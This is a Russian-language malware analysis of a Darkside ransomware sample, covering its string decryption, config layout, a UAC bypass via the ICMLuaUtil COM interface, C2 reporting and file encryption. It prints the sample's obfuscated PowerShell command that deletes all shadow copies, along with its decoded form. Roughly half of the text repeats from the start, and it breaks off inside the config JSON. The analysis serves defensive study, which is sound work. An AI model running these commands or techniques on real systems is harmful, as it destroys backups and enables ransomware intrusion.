Обзор
Это мой отчет об одном из последних образцов Darkside Ransomware v1.8.6.2 для Windows!
Поскольку на тему Darkside не так много глубокого анализа, я решил написать его сам.
Darkside использует алгоритм aPLib для сжатия своей конфигурации и схему гибридной криптографии пользовательских реализаций RSA-1024 и Salsa20 для шифрования файлов и защиты своих ключей.
Несмотря на использование обфускации кода и сложных методов для повышения привилегий и шифрования, программа-вымогатель имеет более низкую скорость шифрования по сравнению с другими программами, такими как Babuk или Conti, из-за рекурсивного обхода файлов.
IOCS
Этот конкретный образец, который я использовал для своего анализа, представляет собой 32-разрядный файл .exe.
Есть версия для Linux, которую легче анализировать, но я слишком ленив, чтобы охватить и то, и другое …
MD5: 9d418ecc0f3bf45029263b0944236884
SHA256: 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5
Сэмпл: https://bazaar.abuse.ch/sample/151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5/
Записка о выкупе
Записка с требованием выкупа зашифрована и хранится в сжатой с помощью aPLib конфигурации.
Контрольная сумма GUID создается и добавляется в конец каждого имени файла с запиской о выкупе.
Статический анализ кода
Создание KEY_BUFFER
После выполнения Darkside генерирует глобальный 256-байтовый буфер. Этот буфер важен, поскольку он используется для резолвинга API и дешифрования зашифрованных строк/буферов в памяти.
Назовем этот буфер KEY_BUFFER. Этот буфер создается с использованием двух жестко закодированных 16-байтовых ключей в памяти.
Вот функция для генерации KEY_BUFFER.
Сначала у неё есть цикл для записи 4 DWORD из key1 в KEY_BUFFER и вычитания 0x10101010 из каждого DWORD каждый раз. Затем у неё есть еще один цикл, чтобы добавить байты в key2 к байтам в KEY_BUFFER и поменять их местами.
Я не решил понять это полностью, потому что это всего лишь простой алгоритм для создания буфера. Вы можете найти мою реализацию IDAPython для его автоматической генерации здесь.
Алгоритм дешифрования буфера.
Все строки и буферы данных зашифрованы в памяти во всем вредоносном ПО. Перед их использованием Darkside выделит буфер кучи, расшифрует целевые данные и запишет их перед использованием.
Расшифровка состоит из простого цикла с заменой байтов и одной операции XOR, которая использует данные из сгенерированного KEY_BUFFER.
Эта функция, однако, предназначена только для дешифрования не более 255 байтов, поскольку размер параметра длины составляет всего 1 байт.
Для поддержки буферов большего размера Darkside выделяет функцию-обертку, которая вызывает decrypt_buff() для buffer_length/255 раз с параметром длины 255.
В случае, если длина буфера не делится поровну на 255, вредоносная программа выполняет модульную операцию buffer_length% 255 и использует ее в качестве параметра длины для decrypt_buff() для дешифрования остальных байтов.
Динамической резолвинг API функий
Функция резолвинга API повторяет следующие операции.
Во-первых, она использует функцию decrypt_large_buffer() для дешифрования таблицы библиотеки в памяти.
Эта таблица разделена на блобы разного размера. Размер каждого блоба двоичного объекта - это 4-байтовое значение, стоящее перед ним.
В этой таблице данные каждого большого двоичного блоба представляют собой зашифрованную версию строки, и эта строка может быть либо именем DLL, либо именем API.
Таблица построена таким образом, что сначала идет большой двоичный объект с именем DLL, а после него идут большие двоичные объекты с именами API, экспортированными из этой конкретной библиотеки.
Если мы выполним дешифрование всей таблицы и удалим байты, представляющие размер больших двоичных объектов, мы получим это.
После расшифровки имени DLL функция затем вызывает LoadLibraryA, чтобы загрузить эту библиотеку и начать импорт адреса в массив API в памяти. Вредоносная программа также стирает каждую расшифрованную строку из памяти, когда заканчивает ее использовать.
Эта операция повторяется до тех пор, пока не обработыются все библиотеки в таблице.
Функция импорта API для каждой библиотеки выполняет цикл, который расшифровывает имя API, вызывает GetProcAddress и каждый раз записывает адрес каждого API в массив.
Как мы видим, массив API строится в последовательном порядке от первого до последнего большого двоичного объекта API, и очень просто написать скрипт для расшифровки всех имен API и записи в массив API соответственно для автоматического разрешения всех API.
Вы можете просмотреть мой сценарий IDAPython для их автоматического импорта в IDA здесь.
После запуска скрипта таблица будет выглядеть так, что значительно упрощает статический анализ.
Резолвинг конфигурации
Зашифрованная конфигурация сохраняется в памяти и заканчивается DWORD 0xDEADBEEF. Поскольку для вызова decrypt_large_buffer() необходимо знать размер зашифрованного буфера, этот DWORD необходим для итеративного определения размера конфигурации.
После вызова decrypt_large_buffer() расшифрованная конфигурация имеет этот конкретный макет.
Используя константы в операциях сравнения по всему алгоритму, довольно просто обнаружить, что Darkside распаковывает данные с помощью алгоритма aPLib.
Поскольку библиотеки aPLib широко доступны, я просто взял реализацию Python на Github, чтобы распаковать и проанализировать конфигурацию в файл JSON. Вы можете получить мой сценарий для создания этого файла JSON здесь.
Ниже представлена полная конфигурация этого образца в формате JSON.
Повышение привилегий
После экспорта конфигурации вредоносная программа затем проверяет, есть ли у нее права администратора, вызывая IsUserAnAdmin. Если пользователь не является администратором, она выполняет проверку информации токена пользователя, чтобы убедиться, что у его токена первое значение субавторитета равно SECURITY_BUILTIN_DOMAIN_RID и второе значение субавторитета равно DOMAIN_ALIAS_RID_ADMINS.
Эта проверка необходима для следующего шага, когда Darkside выполняет повышение UAC, чтобы перезапустить себя с более высокими привилегиями. Это старый трюк с повышением прав для выполнения обхода UAC через COM-интерфейс ICMLuaUtil. У Microsoft есть отличная документация по этому поводу здесь.
Обход выполняется, только если UAC_ELEVATION_FLAG в конфигурации установлен в 1.
Эта функция выполняет CoGetObject с именем объекта Elevation:Administrator!New: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}.
Проверив с помощью редактора реестра, мы видим, что этот CLSID принадлежит cmstplua.dll в system32, а CoGetObject получит интерфейс ICMLuaUtil с учетными данными администратора.
Используя этот интерфейс, Darkside вызывает функцию интерфейса ShellExec, чтобы снова запустить вредоносную программу с обновленными привилегиями.
Изменение привилегии токена
Если AdjustTokenPrivileges_FLAG установлен в 1 в конфигурации, Darkside получит токен текущего процесса через OpenProcessToken и изменит привилегию на SE_PRIVILEGE_ENABLED, чтобы активировать привилегию токена.
Импернасолизация контекста безопасности
Если возможно, Darkside пытается заставить свой процесс имитировать контекст безопасности вошедшего в систему пользователя.
Во-первых, он проверяет, есть ли у вошедшего в систему пользователя учетная запись с указанным доменным именем NT AUTHORITY, AUTORITE NT или NT-AUTORITE. Это делается путем вызова GetTokenInformation для получения SID пользователя, а затем LookupAccountSidW для поиска указанного доменного имени.
Если токен пользователя имеет NT AUTHORITY, Darkside затем извлекает токен пользователя, вызывая WTSGetActiveConsoleSessionId и WTSQueryUserToken.
Darkside хранит этот токен в памяти и вызывает ImpersonateLoggedOnUser при шифровании файла.
Контрольная сумма GUID
Darkside сначала имеет функцию для выполнения хеширования CRC32 и операций XOR. Эта функция использует 0xDEADBEEF в качестве первого значения CRC32 и выполняет операции XOR с большим двоичным объектом данных между ними.
Чтобы сгенерировать контрольную сумму жертвы с использованием ее GUID, Darkside выполняет 4 цикла этой функции на машины жертвы. Он также имеет функцию для преобразования окончательной контрольной суммы из байтов в форму шестнадцатеричной строки.
Журнал логов
Если LOGGING_FLAG в конфигурации установлен на 1, программа-вымогатель начнет регистрировать каждую операцию в файле журнала.
Сначала он генерирует имя файла журнала, форматируя контрольную сумму GUID в LOG% s.TXT.
Затем Darkside создает файл журнала в той же папке, что и исполняемый файл вредоносной программы, используя GetModuleFileNameW и CreateFileW.
Файл README о выкупе
Если для параметра RANSOM_NOTE_FLAG в конфигурации установлено значение 1, программа-вымогатель сгенерирует имя файла README. Этот файл с запиской о выкупе внутри будет помещен в каждый зашифрованный каталог.
Имя файла README генерируется путем форматирования контрольной суммы GUID в README% s.TXT.
Параметры командной строки
Darkside может принимать параметры командной строки -path и имя каталога. Это можно использовать для специального шифрования выбранного каталога с помощью обычного шифрования.
Если -path не указан, но вместо этого параметр представляет собой имя файла, вредоносная программа шифрует только этот конкретный файл.
В случае, когда путь к папке/файлу в параметре является ссылкой (.lnk), Darkside вызывает функцию, чтобы найти полный путь к папке/файлу по этой ссылке.
Эта функция использует CoCreateInstance с CLSID {00021401-0000-0000-C000-000000000046} для запроса интерфейса из windows.storage.dll.
Вероятно, он использует интерфейсы IStorageFolderHandleAccess и IStorageFileHandleAccess для извлечения полного пути из ссылки, но я не уверен в этом.
Я плохо разбираюсь в COM-объектах, поэтому, если кто-нибудь понимает, как это работает, свяжитесь со мной!
Одноразовый мьютекс
Если BUILD_MUTEX_FLAG в конфигурации установлен в 1, программа-вымогатель построит строку мьютекса для однократного выполнения. Вызывая OpenMutex на мьютексе, она может проверить, что в любой момент времени работает только один экземпляр Darkside.
Функция для создания этого мьютекса сначала извлекает текущий путь к файлу вредоносной программы и считывает содержимое файла в буфер кучи с помощью GetModuleFileNameW, CreateFileW, GetFileSize и ReadFile.
Затем вычисляется контрольная сумма файлового буфера путем прохождения одного цикла функции CRC32_checksum_generator.
Строка мьютекса расшифровывается с помощью decrypt_large_buffer и добавляется в строку Global\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX. Затем все символы «X» в строке заменяются шестнадцатеричной строкой контрольной суммы файлового буфера.
Часть Global означает, что мьютекс виден во всех сеансах терминального сервера.
Шифрование одного файла/папки
Поскольку функция шифрования отдельного файла/папки используется только тогда, когда указаны параметры, она, скорее всего, предназначена только для целей тестирования. Следовательно, эта функция не слишком сложна.
Во-первых, она проверяет, установлен ли CHECK_RUSSIAN_COMP_FLAG в 1 в конфигурации. Если да, то она переходит к проверке, является ли язык компьютера жертвы русским, анализируя выходные данные GetUserDefaultLangID и GetSystemDefaultUILanguage.
Если язык компьютера русский, он немедленно закрывается. Я не думаю, что мне нужно вдаваться в подробности о том, почему здесь находится этот блок кода
.
I. Шифрование пуи UNC
Затем он проверяет, является ли путь к файлу путем к серверу UNC, вызывая PathIsUNCServerW. Если это так, вызывается функция шифрования UNC. В этой функции Darkside перечисляет все сети, совместно используемые с помощью NetShareEnum, строит для каждого действительный сетевой путь UNC и вызывает функцию main_encryption для их шифрования.
II. Шифрование нормального путь
Если путь не ведет к серверу UNC, Darkside построит действительный путь соответствующим образом, проверив, является ли путь сетевым путем, путем к смонтированному сетевому диску или просто обычным путем в системе.
Вот что входит в файл журнала, если LOGGING_FLAG равен 1.
Перед вызовом функции main_encryption для шифрования этого окончательного пути Darkside попытается вызвать ImpersonateLoggedOnUser (USER_TOKEN), если у него есть NT AUTHORITY для имперсонализации пользователя при выполнении шифрования файла.
Полное шифрование
Если параметры командной строки не указаны, Darkside выполнит полное шифрование на машине жертвы, что включает в себя множество других операций, таких как соединение с сервером C2, удаление теневых копий, завершение процессов и служб,…
Эта функция также имеет такой же блок кода для проверки русского языка на компьютере жертвы.
I. Подключение к C2 и отправка информации о жертвах
Если для параметра CONFIG_C2_URL_FLAG установлено значение 1 и в конфигурации указан URL-адрес C2, он отправит информацию об ОС жертвы на сервер C2.
Функция извлечения информации об ОС пользователя использует такие функции, как GetUserNameW, GetComputerNameW, MachinePreferredUILanguage, чтобы найти эту информацию.
После извлечения всего он запишет все данные в строковом формате в эту форму JSON.
Затем он создаст строку-обертку, чтобы включить версию вредоносного ПО и UID жертвы с этой информацией об ОС.
Окончательная строка будет в такой форме JSON.
Эта строка будет хеширована функцией ручного хеширования. Опять же, я не стал разбираться в этом, потому что это всего лишь функция хеширования. Она нужна только для того, чтобы убедиться, что информация не отправляется в виде открытого текста.
Хешированная информационная строка и UID жертвы затем записываются в эту строку формата, которая позже используется в качестве содержимого сетевого пакета для отправки на C2.
random_num1=hash(information_string)&random_num2=victim_UID
На этом этапе Darkside использует InternetOpenW и InternetConnectW, чтобы открыть дескриптор Интернет-приложения Firefox/80.0 и подключиться к серверу C2 через порт 443.
После установления соединения Darkside отправляет запрос POST на C2 с помощью HttpOpenRequestW, расшифровывает заголовок HTTP, устанавливает параметры Интернета с помощью InternetSetOptionW и, наконец, отправляет пакет с созданным выше буфером содержимого.
Наконец, Darkside вызывает HttpQueryInfoW, чтобы запросить код состояния и проверить, успешно ли отправлен пакет.
II. Очистка корзины
Если WIPE_RECYCLE_BIN_FLAG в конфигурации установлен в 1 и текущий процесс запущен как ADMIN, Darkside попытается стереть все папки корзины, которые он может найти на дисках машины.
Во-первых, чтобы найти папку корзины на заданном пути к диску, функция итеративно вызывает FindFirstFileExW и FindNextFileW, чтобы найти папку, содержащую «* recycle *» в своем имени.
Найдя путь к корзине, Darkside перебирает каждый каталог внутри и вызывает рекурсивную функцию, чтобы полностью очистить ее.
Рекурсивная функция довольно проста. Она использует FindFirstFileExW и FindNextFileW для поиска файлов и папок внутри. Если она находит файл, он вызывает DeleteFileW для его удаления. Если она находит папку, она снова рекурсивно вызывает себя, чтобы удалить содержимое папки, и вызывает RemoveDirectoryW для его удаления.
III. Удаление теневых копий
Если DELETE_SHADOW_COPIES_FLAG в конфигурации установлен в 1, Darkside попытается удалить все теневые копии в системе. Есть две разные функции для решения этой задачи в зависимости от системной архитектуры машины.
Если машина является 64-битной машиной Windows, она расшифровывает команду CMD и выполняет ее с помощью CreateProcessW.
Ниже представлена расшифрованная команда CMD.
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
Эта команда выполняет 61 цикл, извлекает 2 символа за раз, преобразует их в байт и преобразует этот байт в символ ASCII.
Декодирование этой строки приведет к созданию этой команды Powershell, которая получает каждый объект Win32_Shadowcopy в системе и удаляет его.
Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}
Если машина представляет собой 32-битную машину с Windows, все обстоит немного лучше.
Darkside вызовет CoInitializeEx, CoInitializeSecurity и CoCreateInstance для создания единого объекта класса IWbemLocator с указанным CLSID {4590F811-1D3A-11D0-891F-00AA004B2E24} для запроса из wbemprox.dll.
Используя объект IWbemLocator, Darkside вызывает функцию ConnectServer для подключения к локальному пространству имен «root/cimv2» и получает указатель на объект IWbemServices.
С помощью этого объекта IWbemServices Darkside выполняет SQL-запрос SELECT * FROM Win32_ShadowCopy для получения перечислителя всех теневых копий на локальном сервере.
Затем Darkside перебирает каждый из объектов теневой копии, получает его идентификатор и вызывает функцию объекта DeleteInstance, чтобы удалить себя.
В конечном итоге это приведет к удалению всех областей хранения теневых копий на компьютере.
IV. Убийство целевых сервисов
Если SERVICE_TO_KILL_FLAG в конфигурации установлен в 1, Darkside пройдёт через все службы на машине и уничтожит любую службу, которая находится в списке SERVICE_TO_KILL конфигурации.
Это делается путем вызова OpenSCManagerW для открытия диспетчера управления службами и EnumServicesStatusExW для перечисления всех служб со статусом SERVICE_WIN32.
Darkside итеративно просматривает эти службы и проверяет, существует ли каждая в списке SERVICE_TO_KILL. Если это так, то служба останавливается и удаляется с помощью вызовов ControlService и DeleteService.
IV. Убийство целевых процессов
Если PROCESS_TO_KILL_FLAG в конфигурации установлен в 1, Darkside пройдёт через все процессы на машине и завершит любой процесс, который находится в списке PROCESS_TO_KILL конфигурации.
Это делается путем вызова NtQuerySystemInformation для запроса массива структур SYSTEM_PROCESS_INFORMATION, каждая из которых содержит имя процесса.
Darkside итеративно перебирает эти процессы и проверяет, существует ли каждый из них в PROCESS_TO_KILL. Если это так, то процесс завершается с помощью TerminateProcess.
V. Шифрование всех локальных дисков
Если ENCRYPT_ALL_DRIVES_FLAG в конфигурации установлен в 1, Darkside будет проходить цикл через все диски с типом диска DRIVE_FIXED, DRIVE_REMOVABLE или DRIVE_REMOTE в системе. Затем он создает соответствующий путь к папке для каждого диска и вызывает main_encryption.
VI. Шифрование общих папок
Если ENCRYPT_NET_SHARED_RESOURCE_FLAG в конфигурации установлен в 1, Darkside попытается получить все пути к общим папкам в сети и зашифровать их с помощью main_encryption.
Во-первых, он вызывает функцию для извлечения всех адресов сетевых узлов с двумя подфункциями.
Первая подфункция вызывает GetAdaptersInfo и inet_addr для извлечения адресов других хостов в сети. Затем он вызывает вторую подфункцию и предоставляет эти адреса в качестве параметра.
Вторая подфункция запускает потоки с помощью CreateThread для вызова SendARP и gethostbyaddr для поиска имен других хостов в сети по их адресам.
После нахождения всех имен хостов и помещения их в глобальный массив Darkside вызывает NetShareEnum для перечисления всех сетевых общих папок, строит соответствующие сетевые пути и вызывает main_encryption для их шифрования.
VII. Отправка статистики шифрования сервера C2
После завершения шифрования и если CONFIG_C2_URL_FLAG установлен в 1 в конфигурации, Darkside отправит серверу C2 окончательную статистику шифрования.
Сначала он расшифровывает строку формата для этого пакета и начинает записывать идентификатор жертвы, UID, количество зашифрованных файлов, размер шифрования, количество пропущенных файлов и прошедшее время в эту строку формата.
Затем он использует эту отформатированную строку в качестве буфера для вызова описанной здесь функции.
Основное шифрование
Наконец-то мы подошли к самой пикантной части программы-вымогателя - основной функции шифрования! Это довольно сложная функция, поэтому я снова разделю свой анализ на части.
I. Начальные операции
Перед началом шифрования вредоносная программа проверяет, есть ли в системе минимум 0x6400000 байт или 100 МБ свободного места. Это пространство необходимо для размещения записки о выкупе в каждом каталоге, а также потому, что шифрование также увеличивает каждый файл на установленное количество байт.
Если CONFIG_C2_URL_FLAG в конфигурации установлен в 1, Darkside также начинает записывать время начала шифрования, вызывая GetTickCount.
II. Создание рабочих потоков
Darkside использует многопоточность с портом завершения ввода-вывода для связи между основным потоком и рабочими потоками и ускорения шифрования. Потенциально это может быть действительно хорошо, но, к сожалению, есть один недостаток дизайна, который замедляет весь процесс.
Во-первых, Darkside создает 2 порта завершения ввода-вывода, вызывая CreateIoCompletionPort, которые используются основным потоком для отправки данных файла для шифрования рабочим потокам.
Затем он порождает заданное количество потоков в зависимости от количества процессоров в системе. Он будет порождать 2 потока для каждого подсчета процессоров, но это максимальное количество потоков составляет 64, даже если процессоров больше 32.
Лучше всего иметь один поток на процессор, но поскольку многопоточность Darkside не максимизирует вычислительную мощность системы, это не имеет большого значения.
Каждый из этих потоков добавляется в глобальный массив потоков, чтобы сделать очистку более организованной, путем вызова WaitForMultipleObjects с массивом в качестве параметра.
III. Рекурсивный обход каталогов
Единственная ошибка этого вымогателя заключается в том, что его основной поток использует алгоритм поиска в глубину рекурсивного обхода, что значительно снижает скорость шифрования, несмотря на хорошую настройку многопоточности.
Во-первых, в рекурсивной функции основной поток вызывает SetEntriesInAclW и SetNamedSecurityInfoW для доступа/аудита информации управления и безопасности обрабатываемого каталога. Ниже приведена жестко запрограммированная структура EXPLICIT_ACCESS_W с новой информацией о безопасности и доступе.
Затем, если RANSOM_NOTE_FLAG в конфигурации установлен на 1, Darkside поместит записку о выкупе в обработанный каталог, используя эту функцию.
После этого идут проверки файлов/каталогов. Во-первых, чтобы начать вызов FindFirstFileExW в текущем каталоге, он должен добавить символы «\\ *» в конец имени каталога. По мере того как он просматривает папку в поисках подкаталогов и файлов с помощью FindNextFileW, он сначала проверяет, чтобы избежать двух имен каталогов «.» и «.. », которые ссылаются на текущий каталог и родительский каталог. Эти два каталога могут привести к тому, что программа войдет в бесконечную рекурсию, если вредоносная программа не избежит их.
Он также проверяет атрибут файла, чтобы избежать подкаталогов/файлов с атрибутом FILE_ATTRIBUTE_ENCRYPTED.
После этих проверок, если текущий путь указывает на каталог и DIRECTORY_TO_AVOID_FLAG установлен в 1, то выполняется еще одна проверка, чтобы убедиться, что имя подпапки отсутствует в списке DIRECTORY_TO_AVOID.
После завершения всех проверок путь к его подкаталогу передается в качестве параметра рекурсивной функции.
Рекурсивная функция вызывается при обнаружении папки для обхода всех ее подпапок.
Если текущий путь указывает на файл, Darkside проверяет следующее:
- Если имя файла не является файлом README.
- Если его расширение не .TXT.
- Если его содержимое не является запиской о выкупе (путем сравнения хэшей файлов CRC32).
- Если FILE_TO_AVOID_FLAG равен 1 и имя файла отсутствует в CONFIG_FILE_TO_AVOID.
- Если FILE_EXTENSION_TO_AVOID_FLAG равен 1, а расширение файла отсутствует в FILE_EXTENSION_TO_AVOID.
Если все это правда, Darkside продолжит обработку файла.
Если SQL_SQL_LITE_FLAG равен 1, а имя файла находится в SQL_STRING, он устанавливает ENCRYPTION_MODE на полное шифрование.
После проверки файла основной поток Darkside начинает обработку и отправляет данные файла рабочим потокам.
IV. Проверка, зашифрован ли файл
Во-первых, путь к файлу правильно фиксируется, и вызывается подфункция, чтобы проверить, был ли файл зашифрован или нет. Эта проверка выполняется путем считывания последних байтов 0x90 в буфер кучи и генерации контрольной суммы для первых байтов 0x80 с помощью CRC32_checksum_generator. Эта контрольная сумма сравнивается с последними 0x10 байтами буфера, и если они совпадают, это означает, что файл зашифрован.
Это также дает нам подсказку, что после шифрования к концу каждого файла добавляется большой двоичный объект с зашифрованной матрицей Salsa в качестве первых 0x80 байтов и контрольной суммы ключа в качестве последних 0x10 байтов.
V. Завершить процесс, использующий файл
Если PROCESS_TO_AVOID_FLAG установлен в 1 в конфигурации, Darkside вызывает функцию, чтобы найти и закрыть другой процесс, который в настоящее время использует файл.
Эта функция имеет цикл while для непрерывной проверки всех процессов, вызывая OpenProcess для получения дескриптора процесса, порождает поток для вызова NtQueryInformationFile, чтобы получить файл, принадлежащий этому процессу, и сравнивает это имя файла с именем файла, подлежащего шифрованию.
Если этот процесс обращается к файлу, подлежащему шифрованию, Darkside будет итеративно проверять, чтобы убедиться, что процесс не находится в списке PROCESS_TO_AVOID, и завершит его после завершения проверки.
VI. Создание зашифрованное имя файла
Имя файла копируется в новый буфер, а контрольная сумма GUID добавляется в конец имени файла. Этот буфер позже используется в качестве зашифрованного имени файла, поэтому Darkside снова пытается завершить любой процесс, использующий этот файл.
VII. Отправка файловых данных в рабочие потоки
Darkside делает 2 вызова CreateIoCompletionPort для создания портов завершения ввода-вывода, связанных с дескриптором зашифрованного файла.
Затем он создает буфер для добавления необходимых данных для отправки рабочим потокам с использованием этих портов завершения ввода-вывода.
Важные данные включают информацию, связанную с файлом, такую как ENCRYPTION_MODE, дескриптор файла и размер файла.
Буфер также включает в себя матрицу Salsa20, ее зашифрованную версию RSA-1024 и контрольную сумму зашифрованного ключа.
Когда этот буфер ввода-вывода готов, он отправляется рабочим потокам с помощью вызовов PostQueuedCompletionStatus.
VIII. Salsa20 и генерация матрицы
Darkside делает несколько вызовов RtlRandomEx для создания 64-байтового буфера.
Причина, по которой этот буфер не является ключом Salsa20, заключается в том, что он слишком длинный (обычно ключ Salsa20 имеет длину не более 32 байтов) и потому, что Darkside фактически изменяет свою реализацию Salsa20, чтобы не использовать какой-либо ключ.
Обычно для генерации этой матрицы начального состояния Salsa20 требуется пара ключей-одноразовых ключей.
Однако Darkside полностью пропускает этот шаг и использует случайно сгенерированный буфер в качестве своей матрицы Salsa20.
Это не влияет на результат шифрования Salsa20, поскольку в конечном итоге это XOR-шифр. Чтобы расшифровать файл, им просто нужно иметь доступ к этому случайному буферу и использовать его в качестве матрицы Salsa20.
IX. Шифрование RSA-1024
Специальная реализация RSA-1024 Darkside используется для шифрования матрицы Salsa20 перед добавлением ее в конец зашифрованного файла.
Открытый ключ RSA-1024 встроен в зашифрованные конфигурации Darkside и разделен на две части.
Первая - это показатель степени RSA-1024 с прямым порядком байтов, и я не знаю почему. Поскольку автор вручную написал эту реализацию RSA-1024, я думаю, это облегчит им задачу?
Вторая - это модуль RSA-1024.
Это мой отчет об одном из последних образцов Darkside Ransomware v1.8.6.2 для Windows!
Поскольку на тему Darkside не так много глубокого анализа, я решил написать его сам.
Darkside использует алгоритм aPLib для сжатия своей конфигурации и схему гибридной криптографии пользовательских реализаций RSA-1024 и Salsa20 для шифрования файлов и защиты своих ключей.
Несмотря на использование обфускации кода и сложных методов для повышения привилегий и шифрования, программа-вымогатель имеет более низкую скорость шифрования по сравнению с другими программами, такими как Babuk или Conti, из-за рекурсивного обхода файлов.
IOCS
Этот конкретный образец, который я использовал для своего анализа, представляет собой 32-разрядный файл .exe.
Есть версия для Linux, которую легче анализировать, но я слишком ленив, чтобы охватить и то, и другое …
MD5: 9d418ecc0f3bf45029263b0944236884
SHA256: 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5
Сэмпл: https://bazaar.abuse.ch/sample/151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5/
Записка о выкупе
Записка с требованием выкупа зашифрована и хранится в сжатой с помощью aPLib конфигурации.
Контрольная сумма GUID создается и добавляется в конец каждого имени файла с запиской о выкупе.
Статический анализ кода
Создание KEY_BUFFER
После выполнения Darkside генерирует глобальный 256-байтовый буфер. Этот буфер важен, поскольку он используется для резолвинга API и дешифрования зашифрованных строк/буферов в памяти.
Назовем этот буфер KEY_BUFFER. Этот буфер создается с использованием двух жестко закодированных 16-байтовых ключей в памяти.
Вот функция для генерации KEY_BUFFER.
Сначала у неё есть цикл для записи 4 DWORD из key1 в KEY_BUFFER и вычитания 0x10101010 из каждого DWORD каждый раз. Затем у неё есть еще один цикл, чтобы добавить байты в key2 к байтам в KEY_BUFFER и поменять их местами.
Я не решил понять это полностью, потому что это всего лишь простой алгоритм для создания буфера. Вы можете найти мою реализацию IDAPython для его автоматической генерации здесь.
Алгоритм дешифрования буфера.
Все строки и буферы данных зашифрованы в памяти во всем вредоносном ПО. Перед их использованием Darkside выделит буфер кучи, расшифрует целевые данные и запишет их перед использованием.
Расшифровка состоит из простого цикла с заменой байтов и одной операции XOR, которая использует данные из сгенерированного KEY_BUFFER.
Эта функция, однако, предназначена только для дешифрования не более 255 байтов, поскольку размер параметра длины составляет всего 1 байт.
Для поддержки буферов большего размера Darkside выделяет функцию-обертку, которая вызывает decrypt_buff() для buffer_length/255 раз с параметром длины 255.
В случае, если длина буфера не делится поровну на 255, вредоносная программа выполняет модульную операцию buffer_length% 255 и использует ее в качестве параметра длины для decrypt_buff() для дешифрования остальных байтов.
Динамической резолвинг API функий
Функция резолвинга API повторяет следующие операции.
Во-первых, она использует функцию decrypt_large_buffer() для дешифрования таблицы библиотеки в памяти.
Эта таблица разделена на блобы разного размера. Размер каждого блоба двоичного объекта - это 4-байтовое значение, стоящее перед ним.
В этой таблице данные каждого большого двоичного блоба представляют собой зашифрованную версию строки, и эта строка может быть либо именем DLL, либо именем API.
Таблица построена таким образом, что сначала идет большой двоичный объект с именем DLL, а после него идут большие двоичные объекты с именами API, экспортированными из этой конкретной библиотеки.
Если мы выполним дешифрование всей таблицы и удалим байты, представляющие размер больших двоичных объектов, мы получим это.
После расшифровки имени DLL функция затем вызывает LoadLibraryA, чтобы загрузить эту библиотеку и начать импорт адреса в массив API в памяти. Вредоносная программа также стирает каждую расшифрованную строку из памяти, когда заканчивает ее использовать.
Эта операция повторяется до тех пор, пока не обработыются все библиотеки в таблице.
Функция импорта API для каждой библиотеки выполняет цикл, который расшифровывает имя API, вызывает GetProcAddress и каждый раз записывает адрес каждого API в массив.
Как мы видим, массив API строится в последовательном порядке от первого до последнего большого двоичного объекта API, и очень просто написать скрипт для расшифровки всех имен API и записи в массив API соответственно для автоматического разрешения всех API.
Вы можете просмотреть мой сценарий IDAPython для их автоматического импорта в IDA здесь.
После запуска скрипта таблица будет выглядеть так, что значительно упрощает статический анализ.
Резолвинг конфигурации
Зашифрованная конфигурация сохраняется в памяти и заканчивается DWORD 0xDEADBEEF. Поскольку для вызова decrypt_large_buffer() необходимо знать размер зашифрованного буфера, этот DWORD необходим для итеративного определения размера конфигурации.
После вызова decrypt_large_buffer() расшифрованная конфигурация имеет этот конкретный макет.
- Offset 0x0 - 0x7F: RSA-1024 exponent
- Offset 0x80 - 0x103: RSA-1024 modulus
- The rest: aPLib-compressed configuration.
Используя константы в операциях сравнения по всему алгоритму, довольно просто обнаружить, что Darkside распаковывает данные с помощью алгоритма aPLib.
Поскольку библиотеки aPLib широко доступны, я просто взял реализацию Python на Github, чтобы распаковать и проанализировать конфигурацию в файл JSON. Вы можете получить мой сценарий для создания этого файла JSON здесь.
Ниже представлена полная конфигурация этого образца в формате JSON.
JSON:
{
"VICTIM_ID": "[0x30, 0x36, 0x30, 0x31, 0x30, 0x38, 0x65, 0x66, 0x62, 0x35, 0x31, 0x30, 0x63, 0x39, 0x38, 0x0, 0xdb, 0x85, 0x9b, 0xad, 0x0, 0x38, 0xe0, 0xc4, 0xf0, 0x92, 0x9, 0xa2, 0xa3, 0xc6, 0x14, 0xa4]",
"ENCRYPTION_MODE": "Full",
"AVOID_PROCESS_FLAG": true,
"ENCRYPT_ALL_DRIVES_FLAG": true,
"ENCRYPT_NET_SHARED_RESOURCE_FLAG": true,
"CHECK_RUSSIAN_COMP_FLAG": true,
"DELETE_SHADOW_COPIES_FLAG": true,
"WIPE_RECYCLE_BIN_FLAG": true,
"SELF_DELETE_FLAG": true,
"UAC_ELEVATION_FLAG": true,
"AdjustTokenPrivileges_FLAG": true,
"LOGGING_FLAG": false,
"DIRECTORY_TO_AVOID_FLAG": true,
"FILE_TO_AVOID_FLAG": true,
"FILE_EXTENSION_FLAG": true,
"DIR_TO_REMOVE_FLAG": true,
"SQL_SQL_LITE_FLAG": true,
"PROCESS_TO_KILL_FLAG": true,
"SERVICE_TO_KILL_FLAG": true,
"THREAT_WALLPAPER_FLAG": true,
"RANSOM_NOTE_FLAG": true,
"CHANGE_ICON_FLAG": true,
"BUILD_MUTEX_FLAG": true,
"THREAD_OBJECT_FLAG": false,
"C2_URL_FLAG": true,
"DIRECTORY_TO_AVOID": "$recycle.bin, config.msi, $windows.~bt, $windows.~ws, windows, appdata, application data, boot, google, mozilla, program files, program files (x86), programdata, system volume information, tor browser, windows.old, intel, msocache, perflogs, x64dbg, public, all users, default",
"FILE_TO_AVOID": "autorun.inf, boot.ini, bootfont.bin, bootsect.bak, desktop.ini, iconcache.db, ntldr, ntuser.dat, ntuser.dat.log, ntuser.ini, thumbs.db",
